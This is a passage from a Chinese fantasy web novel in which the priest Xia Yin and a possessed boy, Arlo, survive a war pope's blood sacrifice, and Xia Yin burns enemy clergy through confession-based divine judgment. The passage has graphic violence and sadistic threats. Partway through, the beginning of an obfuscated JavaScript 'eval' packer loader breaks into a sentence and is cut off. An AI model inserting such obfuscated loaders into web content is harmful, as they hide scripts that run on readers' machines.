除了纳萨尼尔三世。 “……怪物?” 纳萨尼尔三世咧嘴笑了。 “光明教会总是过分谨慎,过分排斥那些与人类不同的‘怪物’,敬畏那些所谓的不可名状……为此不惜压抑自我、畏手缩脚、泯灭人类向外探索的天性。” “……区区0级诅咒物。” “当荆棘与血的战歌奏响,战争之主将引领人类征服大地、深渊与天穹!” 他猩红的嘴.唇咧到最大,口中发出更加高亢嘹亮的呓语。 狂躁冲溃了理智,神职者们眼白充血,再度加入了这场战争的盛宴。 在盛宴的高潮,纳萨尼尔三世高举双臂,金属打造的荆棘长刺在“0-13”的灵柩上方汇聚成型。 “他想做什么?”哥哥惊疑不定。 刹那间夏因想明白了什么,瞳仁骤缩。 只见纳萨尼尔三世运起荆棘长刺,狠狠刺向了捆缚“0-13”的锁链! 锁链上,光明教皇的大封印术和战争教皇的强力一击发生了猛烈的对撞。轰然巨响之后,锁链出现了裂纹,附着其上的金色光辉也黯淡了几分。 “疯了,他绝对疯了,”哥哥喃喃,“他想现在就放‘0-13’出来!在一个到处都是普通人的城镇里!” “大封印术的效果少说折半,怎么办?”他回头看向夏因,却彻底慌了,“……夏因?夏因?!” 夏因的手背死死抵在唇前,指缝间渗出猩红的血线。 他眉峰紧锁,额间冷汗如瀑,湿透的红发黏在颊边,脸色异常苍白。 是排异反应。 属于光明神的神纹,正灼烧着他的舌头。 那不是普通的疼痛,而是来自于神祇的惩戒。仿佛有人将烙铁塞进他的口腔里,生生勾画出舌间的烙痕。 他无意识咬破了下唇,手指痉挛着松开又握紧,指甲在掌心剐出了道道伤口。 “带上他,还有那个背叛者。”他听见纳萨尼尔三世命令,“他们将有幸见证主的荣耀。” 接下来发生的一切都是混沌的。 血液 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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天国,也被某些学者称为“神界”、“灵界”或“以太界”,是七位正神以及不可名状之物的居所。 天国穿行是独属于祂们的特权。 诅咒物“天国之门”则赋予了人类相似的能力,只不过,定点传送成功的概率只有50%。 如果不幸失败,使用者便会在天国漂流下去,永远无法找到回到现世的路。 孤注一掷的选择。 但夏因不可能亲眼看着“0-13”让这座城镇血流成河……哪怕绝大部分受害者不属于他的国家,也不信仰他侍奉的神祇。 “找机会把‘天国之门’交给我。‘0-13’噬杀,但不会要我的命。由我来带它走最为合适,你无需参与。” 安德烈沉默了两秒,回应道:“好。” 与此同时,神职者们将夏因和阿尔洛推上了战车。 天空阴云密布,阳光无法穿透云层,浓厚的铅灰色笼罩着城镇中的芸芸众生。 放眼望去,战车之下人头攒动,是数以百计的、无理智狂欢着的信徒。 纳萨尼尔三世踏着从容的步伐,同样登上了战车。 他向背后抓握,攥住第七颈椎棘突处、那根最粗壮的金属长钉,缓缓将其拔出。 如同拔出整条脊椎,一连串血肉、骨骼、金属等物质组成的血色荆棘长刺,徐徐暴露在空气之中。 当纳萨尼尔三世举起他的武器时,信徒们陷入了彻底的沸腾。 高吼声中,纳萨尼尔三世回头,向着夏因和阿尔洛,一步步踏来。 他咧起嘴角,手中荆棘血刺流溢着浓稠的血光。 “不好,他要血祭!” 哥哥反应过来。 “他要先杀了我们,献祭给战争之神,祝祷此次行程的顺利!” 夏因胃里的东西剧烈跳动起来。 显然,安德烈也明白了纳萨尼尔三世的意图,正在为此焦心。 夏因的视线越过纳萨尼尔三世,看向被严密簇拥在神职者之中的“0-13”灵柩。 不行,太远了,他连纳萨尼尔三世都无法跨越,更别提突破那些战争教会的神职者。 如果安德烈为了救他,现在就暴露自己,不但带不走“0-13”,就连安德烈和埋伏在附近的其他几名家族直系神职者也会被杀! 这绝不是他想看到的结果。 “没有我的指令,不许擅自行动。” 夏因一遍遍在心中重复着,平静、稳定,不容置疑。 “相信我。” 荆棘血刺高举过头,纳萨尼尔三世狞笑着,仿佛下一秒就要劈下血刺,将夏因斩成两半。 “——我们在天上的主。” 纳萨尼尔三世高声吟诵着。 “傲视权力,狎戏战争,以荆棘编织王座,以鲜血浇筑权杖的帝王啊。” “请收下您最忠诚的仆从献上的祭礼。” “这沸腾的鲜血是征服的印记,这万军的嘶吼是献予您的战歌。” “鲜血、权柄、荣耀,尽归于您。” “直到永远。” 祷告词结束,荆棘长刺划破空气,骤然劈落! 夏因双眼沉静,一眨不眨地迎着刀锋,直视自己或可到来的血腥死亡。 他相信自己的判断。 当—— 硬物碰撞的巨响,金属被人骨卡住,刺耳的刮擦声中,血液飞溅。 一滴血液落在夏因眼尾,紫红色的,冰冷的。 荆棘血刺被一双手挡了下来。 阿尔洛低垂着头,双手将荆棘长刺攥得更紧。 紫红色的冰冷血液,从他的指缝间滴落。 纳萨尼尔三世眉头一皱,想从那个少年手中抽回兵刃,兵器却宛如被巨岩卡死,纹丝不动。 “阿尔洛”猛地抬起脸。 它慢慢歪头,眼珠机械般地一转,直勾勾刺向纳萨尼尔三世。 “你要杀了他,将他献祭给战争?” 瞳孔缩成危险的细针,闪烁着诡魅的紫芒。 “不……不。” “我们约好了。他是我的。只能是我的。” “没有人能抢走他,就算是神。” 均匀切割的红痕在纳萨尼尔三世皮肤表面出现。 “0-13”的脸上第一次没有笑容。 “我很生气。” 6. 制裁 “诅咒物行为心理学”是每一名神职者的必修课。 而夏因,在这门课上向来满分。 根据他的判断,“0-13”占有欲极强,而且相当重视承诺,不可能允许自己盯上的猎物毁在其他人手里。 它的强大令它不需要谎言,另一方面,则导致它容易受到谎言的欺骗。 如果操作得当,就能利用“0-13”,从战争教皇手里自保。 事实证明,夏因的判断是正确的。 为了独占猎物,“0-13”向另一名捕食者露出了獠牙。 它均匀切割了战争教皇。 血祭被迫中断,神性汹涌,纳萨尼尔三世全身上下裂开均匀的切口,每一块血肉都面临着分崩离析的结局。 他抬手扶起摇摇欲坠的脑袋,将渐趋分离的血肉重新捏合。 “光明教会封印了你,是我给了你自由。”他嘴角下沉,试图说服攻击者,“好好想想吧‘0-13’,你到底该站在哪一边。” 他指向自己:“是同类,是恩人——” 用荆棘长刺对准夏因:“还是迫害你、妄图囚禁你、无法理解杀戮之美的仇人?” 锋利的金属蹭破了夏因的皮肤,一线殷红悄然顺着脖颈划落。 嗅闻到血液的香气,“0-13”眼里迸发出亢奋的雪光,喉结也饥饿地滚动起来。 随之而来的则是暴怒。 “不-许-碰-他。” 所有表情蓦地从它脸上消失,它浑身上下充斥着器械般的冰冷无机质感,唯有额角暴起青筋,狰狞地蠕动着。 手指骨施加巨力,荆棘长刺在它手掌中产生了同样均匀的断痕,向着纳撒尼尔三世蔓延。 “……不识好歹的东西!”纳萨尼尔三世咬牙。 冷风呼啸,天色愈发阴沉,阴森的寒意弥漫在人群之中。 一阵困意忽然席卷了纳萨尼尔三世。 眼前的一切变得似真似幻,他看到手中的荆棘长刺绽放出无数尖刺,洞穿了他的手臂、胸膛与咽喉。 他明知是幻象,呼吸却变得困难。 四周暗如黑夜,荆棘长刺仿佛扎入了他的灵魂之中,撕扯出无数裂口。 然而,就在这时,“0-13”灵柩上绑缚的锁链,突然绽放出了灿金色光芒。 阿尔洛的身躯微一停滞。 “是大封印术!”哥哥惊呼,“‘0-13’解封的力量是有限的,如果强行突破极限,它会受到大封印术的制裁!” 但“0-13”没有退却。 咯、咯、咯,它的脖颈如同生锈的机关,一节一节地扭动着。暴起的青紫色血管,让整张脸看起来无比狰狞。 灵柩的棺盖剧烈震动,金色锁链发出让人牙酸的呻.吟,仿佛里面躺着的东西随时都会挣脱束缚,暴起降下天灾。 锁链再度绽放出夺目的光华。 咔嚓—— 断裂声响起,“0-13”的双手被光明神性击穿,燃烧起熊熊火焰。 与此同时,纳萨尼尔三世的荆棘长刺断裂成千百枚碎片,再无修复的可能。 荆棘长刺是他脊骨的一部分,一经破碎,立即引得纳萨尼尔三世狂喷出鲜血。 作为代价,“0-13”的双手被彻底焚毁。 它向后倒去。 夏因接住了他。 捆缚灵柩的锁链恢复了平静,只是大封印术的光芒变得更极为黯淡。 灵柩的外壁出现了斑驳的灼烧痕迹,“0-13”的本体受了伤,暂时陷入了沉眠。 纳萨尼尔三世抹去了唇边鲜血,脸色阴鸷,嘴角几乎沉至下颌。 他从左眼拔出一枚长钉,轻甩之后化作一枚短刺,向昏迷的阿尔洛袭来。 夏因护在了阿尔洛身前。 短刺在他眼珠前猛地停下。 穿过那根短刺,夏因平静地注视着纳萨尼尔三世,连睫毛都没颤动一下。 “阿尔洛受到了‘0-13’的眷顾。你不会想知道,被0级诅咒物追杀报复是什么感觉。” 纳萨尼尔三世空洞的眼眶狠戾地瞪视着他。 杀意如有实质,四周的教士受其波及,浑身发抖地向后退去。 夏因处于杀意中心,却丝毫不为所动。 他瞥了一眼灵柩上的锁链,眉梢浮现出一丝讥嘲:“引火烧身这种蠢事,你已经做了一次,该不会还想做第二次吧?” 所有人都觉得他不要命了。 纳萨尼尔三世的愤恨膨胀到极点,又一点一点强行压制回体内。 最终,缓缓收回了短刺,插回左眼。 对于一名高高在上、狂傲自负的教皇而言,让他退缩蛰伏,比杀了他还要让他愤怒屈辱。 但他也的确,无法承受与0级诅咒物结仇的风险。 看到纳萨尼尔三世转身离去,夏因无声松了口气,这才感到后背被冷汗打湿的凉意。 车队启程,开始向战争之神的圣所进发。 “吓死我了。”哥哥狂拍心口,“好在结果不错,‘0-13’和战争教皇全都受了伤,呓语声也停了,我们暂时安全了。” “但刚才的排异反应很严重,夏因,你还好吗?” “已经不疼了。”夏因抚向左胸口,眉心埋藏着一丝不解,“但伤口有些发痒。” 就像有什么东西在那里生长一样。 “不会是什么特殊后遗症吧?”哥哥直接把脸怼进了他胸里,“让我看看…唔…也没有什么异常呀。” 虽然他的形态类似幽灵,还是容貌相同的亲哥,但这幅场景对夏因还是造成了一定的冲击力。 夏因退开了两步。 “小气。”哥哥撇嘴,“你小时候光屁股的样子我都见过无数次,现在给我看一眼怎么啦?” 夏因没理他,慢条斯理地擦拭着眼角和口鼻间的血迹。 忽然间,战车一阵晃动,阿尔洛猛然坐起了身。 夏因回头确认:“阿尔洛?” 阿尔洛转过脸,眸中含泪,茶褐色的眼睛被紫色侵蚀近半。 “刚才‘0-13’用我的身体做过的事,我都还记得。说实话……我,是不是已经,不再是我自己了?” 夏因道:“暂时还是。” “谢谢你。但我知道,我活不久了。” 阿尔洛脸色灰败,朝他牵起一个难看的笑容。 “别看我现在这个样子,其实、其实我曾经是全村的骄傲呢。” “我们村从来没有出现过Alpha,我是唯一一个。我没什么野心,只想放放羊、剪剪羊毛。但大家都说,如果我肯加入教会的话,教会就不会再抢光我们的羊毛和奶。” “可谁知道,成为神职者之后,情况也没有好转。” 他想让嗓音听起来轻松愉快一些,但还是忍不住着哽咽。 “他们…那些住在城里的教士们…当着我家人的面…殴打我。” 那显然不是什么普通的“殴打”,而是更加难以说出口的东西。 “……兄长抄起羊毛剪,捅了他们。” “他比我勇敢得多,比我更适合做一个拯救村落的Alpha英雄…但他死了,只为了保护我这样一个胆小鬼。” 哽咽声变成了哭腔,阿尔洛抱住头,狠狠撕扯自己的头发。 “我好恨我自己。我该死。我害得他、害得他遭受的一切全都白费了……” “那就不要让他的牺牲白费。”夏因的声音在身旁响起。 阿尔洛抬起脸,泪花里涌动着惊讶,没想到他竟会认真聆听自己的忏悔。 像他那样强大的人,也能够理解弱小者无能为力的感觉吗? 阿尔洛望进他冷翠色的眼眸里,蓦地一怔,第一次在对方眼里捕捉到了明显的情绪波动。 “……曾经也有人为我而死。” 他启唇,嗓音似乎比平时添了一分哑涩。 还没看清他眼底涌动着的情绪是什么,他便移走了视线,落在身旁一处空荡荡的位置上。 夏因凝望着哥哥,将手搭在哥哥的手背上,与虚幻的光影十指交扣。 “而我会带着他的勇气一起活下去。” “因为我希望,当他看到今天的我时,不会为当初的选择后悔。” “……” 泪水从阿尔洛的眼里眨落。 他仰望着夏因,眸光渐渐变得明亮。 但这明亮又转瞬间黯淡了下去。 “可我已经没有机会了。要不了多久,‘0-13’就会吞噬我的灵魂,抢走我的躯壳。” “你想找回自我?”夏因回眸,直视着他的双眼,“如果维持现状,你或许还能多活两天。但如果找回自我,下一秒你就可能会因为失去对‘0-13’的利用价值,而成为它的一顿晚餐。” 想到“晚餐”们的惨状,阿尔洛的肩膀颤抖起来。 但他随即回想起了,兄长抄起羊毛剪冲向欺凌者的背影。 他的兄长,一定不希望自己舍命相救的弟弟,是一个闭眼等死的懦夫吧。 阿尔洛的目光坚定下来。 “——我想。” 夏因直接了当:“告诉我你的全名,包括教名、自取名、家族名。我帮你找回自我。” “我叫阿尔洛·伊凡·尼米兹!” “好。” 夏因闭上眼,双手合十,抵于胸前。 “……我在天上的主。” “执掌律法之天平,洞察万物之善恶,以光明普照众生的仁慈圣者。” 随着吟唱,浅淡的金色微光氤氲于周身,神性流淌,为他镀上了一层神圣的光辉。 嘴.唇张合间,舌头上的神纹亮起了灿金色的光芒。 那是使用神纹能力的表现。 “我,阿尔洛·尼米兹·伊凡,在此向您忏悔我的懦弱。” “我曾目睹不义却选择沉默,面对欺凌却畏缩不前。如今这悔恨如同荆棘,日夜刺痛我的灵魂。” “求您以慈爱之心宽恕这迷途的羔羊,赐予我无畏的勇气与坚定的意志,让我寻回自身,以洗我的罪。” 教名,信仰的航标。 自取名,自身的期许。 家族名,血脉的印记。 三者齐备,将忏悔者的定位从夏因同步到了阿尔洛身上。 光明神回应了他的忏悔。 一道裂隙自虚空中打开,来自天国的暖光穿透阴云,洒落在了阿尔洛身上。 暖光汇入了阿尔洛的心脏,让他的灵魂充满了意志、勇气、和坚持自我的力量。 “0-13”的意识从他的灵魂中剥离出来,片刻之后,阿尔洛睁开眼,浑浑噩噩的感觉彻底消失,头脑异常清醒。 “……我感觉好多了。”阿尔洛抬手擦去额角的冷汗,难以置信地望向夏因,“那可是0级诅咒物的污染啊,你、你怎么说了两句话就根除了?” 战车周围,原本警惕的战争教士们纷纷发出了嘲笑声。 “替人忏悔?哈哈哈,光明教会的小绵羊们可真够纯良无害的。” “刀都架在脖子上了,攻击性的神纹一个没有,还在帮别人祈祷意志和勇气?带着你们的意志和勇气上天国吧!” 只有主教看出了更多。 他一直在暗中关注夏因和阿尔洛,猜测他们身上的特殊之处。此时看到了夏因的神纹效果,心中分外庆幸。 普通的神职者,在烙印第七道神纹之后才能获得神祇的注视,但这个俘虏,竟然只是第一道神纹,便能求得神祇的恩赐。 无与伦比的神眷。 如果假以时日,这个俘虏必定会成长为战争教会的劲敌。 到时候,说不定会是另一个伊格尼斯公爵,另一个“审判之光”。 但还好,这个俘虏很快就要死了。 *** *** 阿尔洛想不到这么多。 “谢谢你,你的神纹好温暖。”他只会一遍遍地赞美,“好温暖。真的好温暖。” 夏因扫他一眼,打断了他的复读。 阿尔洛闭上嘴,半晌,哭丧着脸:“不好意思,代价发作,让你看笑话了。” 他摸了摸环脖颈一圈的鲜红色锁链状神纹:“我的神纹能力与‘锁’有关,锁多了,思维就容易在大脑里兜圈子,盘成解不开的毛线头,一圈圈绕不出去。” “你的神纹能力这么温暖,”他望向夏因的眼睛,笑着说,“‘代价’也一定很温暖吧?” 夏因望着哥哥的身影,眼底似有柔光划过。 “或许吧。” 他又在朝空气说话了。 但因为他身上温暖的气息,阿尔洛并不觉得害怕。 他小心地往夏因身边挪了挪:“像你这样的人,光明教会有很多吗?” “你指什么?”夏因问。 “看起来冷冰冰的,靠近了却感觉很温暖。”阿尔洛赧然,“光明教会地处北境,我从前还以为那里的神职者也和那里的天气一样冷酷呢。” 谈起故土,夏因话多了一点。 “银霜的冬天有四个月,但没那么难熬。”他遥望着远方,“我们会在雪地里栽种不畏寒的花朵,比如冬蔷薇、龙息花,还有……” 他想起了那个Omega的信息素,“还有紫罗兰。” “真想亲眼去看看。”阿尔洛露出向往之色,“听起来一点都不像主教说得那么可怕。” “说起‘可怕’,”他忽然压低声音,“你们的‘审判之光’真的亲手烧死了他的家人吗?” 那场充满疑点的大火,无疑是近年来最为轰动的悬案。 传闻中,夏因·伊格尼斯在分化成Alpha的那 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将阿尔洛带回家族审查、考核,培养成像安德烈那样的家族直系神职者,也未偿不可。 只要他能活下来。 “过了今晚……” 阿尔洛尚没能弄清这句话的含义,就在这时,他们乘坐的战车猛地一停。 “有敌袭——敌……啊!!” 惨叫声响起,夜色中,数不清的鬼影自四周徐徐向车队包围。 “敌袭?这不可能!”主教大惊,“就算我们一出发就被盯上,他们也不可能来得这么快!” “除非有人提前泄露了0级诅咒物的消息!” 但事实上,“泄露消息”的夏因也觉得诧异。 他的确吩咐安德烈将消息透露给辖域临近的梦境教会。梦境教会和战争教会向来水火不容,能造成不俗的牵制力。 ——但是,怎么会这样快? 恰好有神职者在附近吗? 他压下疑惑,只见纳萨尼尔三世平挥手臂,一道红芒切割夜色,将幢幢鬼影尽数斩灭。 “不过是些小伎俩。”他冷笑。 鬼影消失以后,只剩下一个人。 那人的身影承载在半空的圆月之中,长袖广博,青丝飘舞,犹如一只振翅翩飞之蝶。 小腹袒露,烙印在他腹部的眼状紫色神纹,则如同蝴蝶双翼的人眼花纹。 纳萨尼尔三世拔出双眼短刺,向他攻去。 那人不闪不避,短刺双双插.入胸膛,却只掀起了阵阵涟漪。 连并纳萨尼尔三世自己,也被拖入了镜花水月之中。 只短短交手一瞬,他便和纳萨尼尔三世便双双消失,只剩夜空中一轮如圆月般的水镜。 主教来不及反应,只能眼睁睁看着这一幕发生。 “是梦境教会!能将冕下拉进幻梦境——九纹圣徒!” 紧接着,骚乱从车队的各个方向响起,埋伏在信徒之中的安德烈及其属下趁机开始了行动。 有人不知何时淋了油、着了火,有人推搡踩踏,火势顺风蔓延,渐成汪洋。 “全员警戒!!” “在冕下回归之前,守好‘0-13’!决不能让异教徒夺走它!” 在下令的同时,主教迅速奔至“0-13”旁边,亲自严加看守。 他比纳萨尼尔三世谨慎得多,不会狂妄到亲自下场、处理动乱,而是将看守“0-13”放在了第一位。 而此时,主教仍在百思不得其解,在当初那些看管源晶监牢的神职者里,究竟是谁背叛了教会。 “——克里·拜耳·亚弗戈蒙。” 突然,有人念出了主教的全名。 他的全名很少有人知晓,亚弗戈蒙主教面带疑虑,看向了说话人的方向。 然后,对上了夏因的视线。 那个俘虏,仅有一道神纹的普通神官,此时正立于战车之上,睥睨着他。 如同久居上位的执法者,高傲而冰冷。 “…你…?” 亚弗戈蒙主教又是震惊,又是疑惑。 夏因确定他姓名无误,闭上眼,双手合十,抵于胸.前。 “我在天上的主。” 他舌上的神纹释放出光芒。 “执掌律法之天平,洞察万物之善恶,以光明普照众生的仁慈圣者。” 所有疑点串连成线,一瞬间,亚弗戈蒙主教全都明白了过来。 明白了消息走漏的原因,明白了俘虏的真实身份,明白了“审判之光”的真正含义。 主教目眦欲裂。 “阻止他!” “让他闭嘴!!” 与此同时,以安德烈为首,隐藏在信徒之中的七名伊格尼斯直系神职者们,在心中同时呐喊: ——誓死捍卫公爵!! 在纷争的中心,夏因气息沉静,开始替亚弗戈蒙主教向光明神忏悔。 “我,卡尔·拜耳·亚弗戈蒙,在此向您忏悔我的暴行。” “我曾滥用权柄,屠戮无辜,近百条性命葬送在我手中。我已为我犯下的罪行而感到深深懊悔。” “我愿接受‘审判之光’的制裁,敞开灵魂承受您的惩戒。求您以圣光净化这污浊的灵魂,洗除我的罪!” 话音落下。 阳光骤然撕裂阴云,天国绽开裂隙,犹如神明向凡间投下了一瞥。 光之锁链凭空而生,将亚弗戈蒙主教禁锢在无形的囚椅之上。 他奋力挣扎,眼瞳里却映照出了更灼目的光芒。 那是无数支光之箭矢,正刺破夜空,向他奔来。 “啊啊啊——!!” 璀璨夺目的光,统御了所有人的视野。 在光芒的最中心,亚弗戈蒙主教身上腾起灿金色的火焰,他发出一声极度痛苦的惨叫,很快,就连惨叫声也被火焰吞噬。 光芒熄灭,原地只剩下了一小捧青灰。 但他临死前撕心裂肺的惨叫声,却已深深刺入了所有教士的耳膜里。 噩梦中才有的场景,在他们眼前变成了现实。 “……是‘审判之光’!” “那个俘虏,是伊格尼斯公爵!!” 震惊、恐惧、恍然大悟、懊悔,他们终于能够理解那些有关“审判之光”的可怖传言—— 只要念出全名,宣读罪名,便能隔着整个王国,降下来自天国的“审判之光”。 是啊,他们怎么会没想到? “忏悔”能祈求神明的祝福,同样的,也能招致神明的惩罚。 夏因·伊格尼斯,对待自己人或许算得上温和,但面对罪行累累的敌人时,却从来不是什么“纯良无害的小绵羊”。 “审判之日”降临了。 7. 献祭 对亚弗戈蒙主教的审判只是一个开始。 一个又一个名字从夏因口中吐出,作为主教的身边人,他们全部罪行累累,也因此迎来了圣光的审判。 他们从谩骂,到求饶,最后无不在极端的恐惧与悔恨之中,眼睁睁看着光芒点燃自己的每一滴血液,将每一寸皮肉烧焦、焚化、飘散成灰,抹除掉他们存在过的所有痕迹。 “审判之光”降下的神罚,比任何极刑都更为痛苦。 罪人临死前的惨叫响彻了天际。 街道两旁的平民们早在梦境圣徒来袭时便躲了起来,此时听到惨叫声,都害怕得浑身颤抖,生怕泄露出一丝声响,就成为那些光箭的目标。 忽然间,一名小女孩挣开母亲的怀抱,跑到了街上。 她的母亲惊恐地冲出来,想将女儿抱回家。 却见小女孩伸出稚嫩的小手,指向天空。 “妈妈你看,天晴了。” 就在半刻钟前,天空还被阴云笼罩。而现在,光芒彻底撕碎了阴霾,频繁降下的光之箭雨,将天空与城镇的暗色洗涤一新。 简直就像神迹。 母亲也有一瞬间的呆愣。 就在这时,一名正在被“审判之光”制裁的战争教士满脸狰狞地冲向了她们,连带着他身周的数支光箭,也扎进了她们体内。 母亲发出了一声惨叫,片刻之后,却没有感到任何预期的疼痛。 她睁开眼,看到怀里的小女孩正好奇地触摸其中一支光箭。 “暖乎乎的……一点也不疼。” 母亲也触碰了那支光箭,一股暖流顺着接触点淌遍了她的全身。 那是祝福。她明白过来。 同样的光箭,给予善良者以祝福,赐予罪恶者以惩戒。 母亲将小女孩抱回了房间。 趴在窗户边,小女孩望着战车上阖目祈祷的青年。 “那个红头发的小哥哥,是光明教会的神官吗?” “神父说光明神严苛、伪善、冷酷,但那个小哥哥长得好漂亮,身上的光也好温暖。” “神父说错了。他怎么会是坏人呢?” “……是啊。”母亲由衷道。 在厮杀和惨叫声中,夏因的祈祷声不算响亮,但好听的嗓音总是足够抓耳,因此就算隔着一段距离,还是有许多平民捕捉到了他口中的只言片语。 关于战争教会的罪行。 关于他们的女儿被奸.淫,男儿被诱骗入教,成为试验诅咒物的牺牲品;他们辛勤劳作换得的钱粮缴纳上去,将主教和他的走狗们喂到富得流油…… 平民们仍然躲在自己家中,透过窗户窥视这场审判。 但他们眼中充斥的不再是畏惧,而是愤怒与快意。 *** *** 教皇被困,主教身亡,失去主心骨之后,战争教会的神职者们陷入了颓势。 安德烈紧急召集的神职者只有七个人,但在夏因的强势压制之下,他们战无不胜,不过五分钟,便让战争教会的神职者死伤过半。 绝望和崩溃之下,战争教士开始盲目释放攻击,就连伤到同伴和平民也不在乎。 其中一道范围性的荆棘地刺,波及到了夏因乘坐的战车。 荆棘刺入马蹄,战马受惊之下,猛然扬起前蹄,大步疾奔起来。 夏因猝不及防间摔下了战车,忏悔词就此打断。 原本已经成型的审判之椅,因为忏悔的终止而迅速崩解。 很多人都注意到了这一点。 死里逃生的战争教徒倏然明白过来,仰头大吼:“围攻他!别给他开口的机会!” “只要不开口,他就只是个普通人!” “谁杀了‘审判之光’,冕下就会任命谁为新的主教!!” 数十道灼热而疯狂的视线纷纷射向夏因,仿佛要将他生生撕碎,抢得他的一块肉、一根骨,用来换取无上的荣耀。 “保护公爵!!”安德烈大吼。 “不必管我,全力撤退!”夏因作出了与之截然相反的指令,“安德烈!把‘门’给我!” 安德烈一声怒吼,化作一匹黑色巨狼,向夏因的位置冲去。 夏因正要前往“0-13”身边,却被三名战争教徒挡住了去路。 他们每个人都比夏因高大整整一圈,杀气腾腾,满脸横肉因恐惧和贪婪而扭曲。 夏因俯身捡起了一柄焰形长剑。 抬头,与哥哥的目光在空中交汇。 哥哥粲然一笑,展开双臂拥向孪生弟弟,如同拥抱另一个自己。 “轮到我大展身手啦!” *** 三名战争教徒一步步逼近夏因。 “审判之光”余威仍在,他们心中不免忌惮,生怕夏因还藏有其他什么底牌。 直到他们看见夏因捡起了焰形长剑,生疏而笨拙的握剑姿势,显示他并没有学习过剑术。 杀了他,就像杀死一个孩子那么容易。 “受死吧!” 自以为被神眷顾的战争教徒,高举大剑,向夏因劈去。 却见夏因随意颠了一下焰形长剑的重量,闪身,后撤,骤然突刺!直穿心窝! 鲜血迸溅,其他两名战争教徒满面惊愕。 在那一瞬间,他们眼前的“夏因”仿佛突然换了一个人,从沉静内敛,变得热烈张扬。 从一个捧书祈祷的神官,变成了一个剑术卓绝的骑士。 但时间已经容不得他们思考变化的原因,其中一个神职者释放出荆棘地刺,另一个则扭曲战车上的金属,试图桎梏“夏因”的身形。 “夏因”轻盈起跳,躲开地刺荆棘,滞空,一脚蹬在向他抓来的金属横梁上,借力冲向两名神职者。 一个旋身,焰形长剑挥出干净利落的一笔。 下一秒,两颗人头飞出。 “夏因”稳稳落地。 阿尔洛刚爬下战车,此时正灰头土脸,还没从震惊中回过神。 “夏因”回眸朝他一笑,笑容灿烂而明朗。 “来,我带你跑路。” “别离太远,我护着你。” 说罢,便纵身跃入了混战,朝“0-13”的位置进发。 阿尔洛只愣了一下,便跟了上去。 一边跟着他跑,一边脑内疯狂尖叫。 ……诸神在上,那竟然就是“审判之光”?! 可他之前都和对方闲聊了些什么啊? “你好,是你杀了你全家吗”“你长得还挺惹人爱”——夏因·伊格尼斯听了竟然没有当场宰了他! 甚至到了现在,还在努力保护他…… 如果不是时机不对,阿尔洛已经为他的慈悲大度而感动落泪了。 “阿尔洛,你这叛徒!”有人怒吼着向他扑来。 阿尔洛认出了他——那是欺凌者的其中之一,间接导致了他兄长的死亡。 被吊起来割开皮肉的恐怖几乎深入了他的骨髓,阿尔洛哆嗦起来,本能地想要抱头忍受。 但随即,他余光里映照出夏因的背影。 ……是啊,他如今在守护着夏因的后背呢。 他自己被抓不要紧,但如果夏因也遭受和他一样的折磨该怎么办? 他绝对不要看到那种事情发生! 一股饱含怒意的勇气涌上心头,阿尔洛耳畔神纹一闪,释放出一把金属锁,拷在了欺凌者脚上。 那名战争教徒登时摔了个嘴啃地,瞪向阿尔洛,不敢相信施术者会是那个懦弱胆怯的乡村少年。 他的震惊将永远凝固在脸上。 因为“夏因”一个回旋,轻松斩落了他的人头。 “干得漂亮!” “夏因”朝阿尔洛灿烂一笑。 欺凌者的血溅到了他脸上,阿尔洛望着他,心脏怦怦直跳。 原来“勇敢”也不是很难。 ……只要有夏因在他身前。 阿尔洛的整颗心脏都在为夏因而悦动着。 他释放出一把把“锁”,专往敌人的脚上拷,牵制住敌人的步伐,守住“夏因”的后背。 在他呼救时,“夏因”也会及时转身,替他格挡住攻击。 从战车到灵柩,不算太远的一段路,却是阿尔洛一生中最充实、最快乐的时光。 在这种焕发新生的超感知状态下,他注意到了雾。 只是很稀薄的雾,像一个过眼既忘的幻梦,在鲜血纷飞的战场上没有任何人察觉,逐渐凝聚……凝聚成一个淡淡的人影。 躲藏在夏因的视觉死角,潜伏着,等待着。 阿尔洛隐约觉得不对。 下一秒,瞳孔骤然紧缩。 恍悟的一瞬间太短,他什么都来不及说,只能全力一扑,挡在夏因身后。 哧—— 荆棘长刺穿透了阿尔洛的身躯。 阿尔洛那一扑带来的风,终究是提醒了“夏因”,让他来得及向旁躲闪,避开了要害。 哧—— 穿过阿尔洛的长刺,再度刺穿了“夏因”的胸膛中央。 哥哥发出一声痛哼,脱离了夏因的身体。 夏因回神,冷汗如瀑,手握长刺,试图将之抽离体外。 张狂的大笑声传来。 “没想到,传言中令人闻风丧胆的‘审判之光’,不过只是个一纹废物。” 雾气凝固成人形,本该被困在幻梦境的纳萨尼尔三世,竟然借由幻梦境的辅助,突然回到了现世! 夏因唇角溢出血沫:“你,怎么会……” 纳萨尼尔三世的嘴角咧到了耳根,表情变得分外狡诈。 “我怎么会和梦境圣徒联手?” 他替夏因补全了疑问。 “不觉得奇怪吗?为什么梦境教会的‘援兵’来得超乎寻常的快?” “因为这位梦境圣徒,从来不是你临时请来的‘援兵’,而是我一早就安排好的‘友军’啊。” 他靠近夏因,探出穿有金属钉的长舌,慢慢舔走了夏因体内溅出的血液。 血液的甘甜让他全身的神性都发起了狂。 “怎么样,我们合演的一出戏,还够逼真吗?” 纳萨尼尔三世得意地咧着嘴角,因为看到夏因那张煞白的面庞,心中的快感达到了顶峰。 他忽然不想直接杀掉这个人了,他大可以在这张漂亮皮囊身上尽情施虐,在他白腻柔软的皮肤上穿无数枚金属钉,聆听他饱含痛楚的呻.吟,品尝他的每一滴泪珠和鲜血…… 当然,如果那时候的夏因还能像现在这样用那双倔强不屈的绿眼睛瞪视他,就更美味了。 夏因唇瓣微颤。 “嗯?”纳萨尼尔三世逼近他,“你想问,为什么不从一开始就联手把你抓起来?” “哈哈,如果最开始就抓你,你还会暴露出这么多手底牌吗?” “至于亚弗戈蒙主教和那群小卒子……死得那么轻易,说明他们本就该死,蠢货和弱者本来就不配在这个世界生存,成为战争的祭品是他们最好的归宿。” 纳萨尼尔三世盯着夏因,虚伪地做出一个怜悯的表情。 “当然,你不是蠢货,也不是弱者——如果光明教会没有将你限制在一纹的话。你知道的,有时候选错了信仰,也是一种愚蠢。” “只有一道神纹就好办了。你们这样的蝼蚁,就连排异反应都无法承受……” 他用打了舌钉的舌头,舔舐了一圈嘴唇。 “我倒是很好奇,‘审判之光’爆体时那血肉喷洒的场景,是否和你的脸蛋一样漂亮呢?” 